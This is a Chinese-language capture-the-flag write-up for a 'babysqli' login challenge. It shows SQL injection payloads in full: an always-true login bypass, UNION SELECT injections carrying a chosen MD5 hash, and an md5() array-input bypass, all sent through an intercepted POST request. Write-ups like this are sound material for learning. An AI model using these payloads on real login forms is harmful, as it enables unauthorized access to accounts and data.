babysqli 注入題,打開一個簡易的登錄框,覺得出題人好像不是個完美主義者,登錄框做的很爛,但是我是個弟弟,還是要說出題人牛逼
好了,廢話不多說,我們填寫賬號密碼,先用
username:admin
password:admin
告訴我,wrong pass!
然后我們再試試萬能密碼,
username:admin' or '1'='1'#
password:隨意填
然后告訴我do not hack me!
我索性看了下源碼,里面有一段數據被注釋了,看似base32,等我們base32解碼出來,再來個base64解碼
select * from user where username = '$name'
得到了這個sql語句,意思是我們需要傳入個name變量,然后我們構造payload,因為我們需要post傳參,於是我們采用bp抓包
我們如果給name的值不是admin,然后提示錯誤,wrong user!
傳admin,提示wrong pass!
我們把admin 放到第二個位置 不報錯
這樣我們就得到第二個字段就是我們的username字段
緊接着下一步,我也不太會於是就看了大佬博客說有md5提示,我也沒發現,
於是盲從后台登錄邏輯
<?php$row; $pass=$_POST['pw']; if($row['username']==’admin’){ if($row['password']==md5($pass)){ echo $flag; }else{ echo “wrong pass!”; }} else{ echo “wrong user!”;}
在執行password框中的內容等於md5(框中的內容),如果相等則密碼正確,於是我們構造吧
password:adc
md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69
於是構造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc
因為有md5我想到了md5不能處理數組,如果是數組則會返回NULL
構造payload:name=ad' union select 1,'admin',NULL#&pw[]=123
也可返回flag。 抓包改包就完事。
得到flag